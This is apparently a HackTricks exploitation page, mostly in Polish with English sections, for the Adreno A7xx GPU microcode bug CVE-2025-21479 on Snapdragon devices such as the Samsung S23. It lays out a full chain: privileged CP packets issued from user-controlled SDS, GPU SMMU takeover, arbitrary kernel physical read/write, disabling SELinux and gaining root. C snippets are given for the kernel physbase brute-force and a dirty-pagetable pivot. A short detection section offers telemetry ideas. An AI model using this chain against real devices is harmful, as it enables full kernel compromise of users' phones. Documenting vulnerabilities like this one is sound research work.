Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona upraszcza występujący w naturze błąd logiki microcode Adreno A7xx (CVE-2025-21479) do odtworzalnych technik exploitacji: nadużycie maskowania poziomów IB w Set Draw State (SDS) w celu wykonania uprzywilejowanych pakietów GPU z nieuprzywilejowanej aplikacji, pivot do przejęcia GPU SMMU, a następnie szybki, stabilny kernel R/W przez sztuczkę z dirty-pagetable.
- Affected: Qualcomm Adreno A7xx GPU firmware przed poprawką microcode, która zmieniła maskowanie rejestru $12 z 0x3 na 0x7.
- Prymityw: Wykonanie uprzywilejowanych pakietów CP (np. CP_SMMU_TABLE_UPDATE) z SDS, który jest kontrolowany przez użytkownika.
- Outcome: Dowolny odczyt/zapis pamięci fizycznej/wirtualnej jądra, wyłączenie SELinux, root.
- Wymagania wstępne: Możliwość utworzenia kontekstu GPU KGSL i przesłania command bufferów, które wchodzą do SDS (normalna możliwość aplikacji).
Tło: IB levels, SDS and the $12 mask
- Jądro utrzymuje bufor pierścieniowy (RB=IB0). Userspace przesyła IB1 przez CP_INDIRECT_BUFFER, łańcuchując do IB2/IB3.
- SDS to specjalny strumień poleceń wchodzący przez CP_SET_DRAW_STATE:
- A6xx: SDS traktowane jest jako IB3
- A7xx: SDS przeniesione do IB4
- Microcode śledzi aktualny poziom IB w rejestrze $12 i filtruje uprzywilejowane pakiety tak, żeby były akceptowane tylko gdy efektywny poziom odpowiada IB0 (RB jądra).
- Bug: microcode A7xx maskował $12 z 0x3 (2 bity) zamiast 0x7 (3 bity). Ponieważ IB4 & 0x3 == 0, SDS było błędnie identyfikowane jako IB0, pozwalając na uprzywilejowane pakiety z SDS kontrolowanego przez użytkownika.
Dlaczego to ma znaczenie:
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Przykład Microcode diff (patch zmienił maskę na 0x7):
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Exploitation overview
Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.
High-level chain
- Craft a fake GPU pagetable in shared memory
- Enter SDS and execute:
- CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
- CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
GPU R/W primitives via fake pagetable
- Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
- Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)
Notes
- Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
- Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.
Building the SDS command sequence
- Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
- Construct an SDS buffer containing, in order:
- CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
- One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
- CP_SET_DRAW_STATE with flags to run-now
The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.
Finding Samsung kernel physbase under physical KASLR
Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.
Representative loop
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
Gdy physbase jest znane, oblicz wirtualny adres jądra za pomocą mapy liniowej:
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
Stabilizacja szybkiego, niezawodnego CPU-side kernel R/W (dirty pagetable)
GPU R/W jest wolny i o małej ziarnistości. Pivot do szybkiego/stabilnego prymitywu przez uszkodzenie własnych PTEs procesu („dirty pagetable”):
Kroki
- Zlokalizuj current task_struct -> mm_struct -> mm_struct->pgd za pomocą powolnych GPU R/W primitives
- mmap dwie sąsiednie userspace strony A i B (np. pod 0x1000)
- Przejdź PGD->PMD->PTE, aby uzyskać fizyczne adresy PTE A/B (pomocnicze: get_pgd_offset, get_pmd_offset, get_pte_offset)
- Nadpisz PTE B, aby wskazywał na last-level pagetable zarządzającą A/B z atrybutami RW (phys_to_readwrite_pte)
- Zapisuj przez VA B, aby zmodyfikować PTE A tak, by mapował docelowe PFN; odczytuj/zapisuj kernel memory przez VA A, czyszcząc TLB aż sentinel się zmieni
Przykład dirty-pagetable pivot snippet
```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();
</details>
## Wykrywanie
- Telemetria: generuj alert, jeśli CP_SMMU_TABLE_UPDATE (lub podobne privileged opcodes) pojawi się poza RB/IB0, szczególnie w SDS; monitoruj anomalne zrywy 4/8-bajtowych CP_MEM_TO_MEM oraz nadmierne wzorce flushowania TLB
## Wpływ
Lokalna aplikacja z dostępem do GPU może wykonywać privileged GPU packets, przejąć GPU SMMU, osiągnąć arbitrary kernel physical/virtual R/W, wyłączyć SELinux i uzyskać root na podatnych urządzeniach Snapdragon A7xx (np. Samsung S23). Waga: Wysoka (kompromitacja jądra).
### Zobacz także
<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>
## Odniesienia
- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>


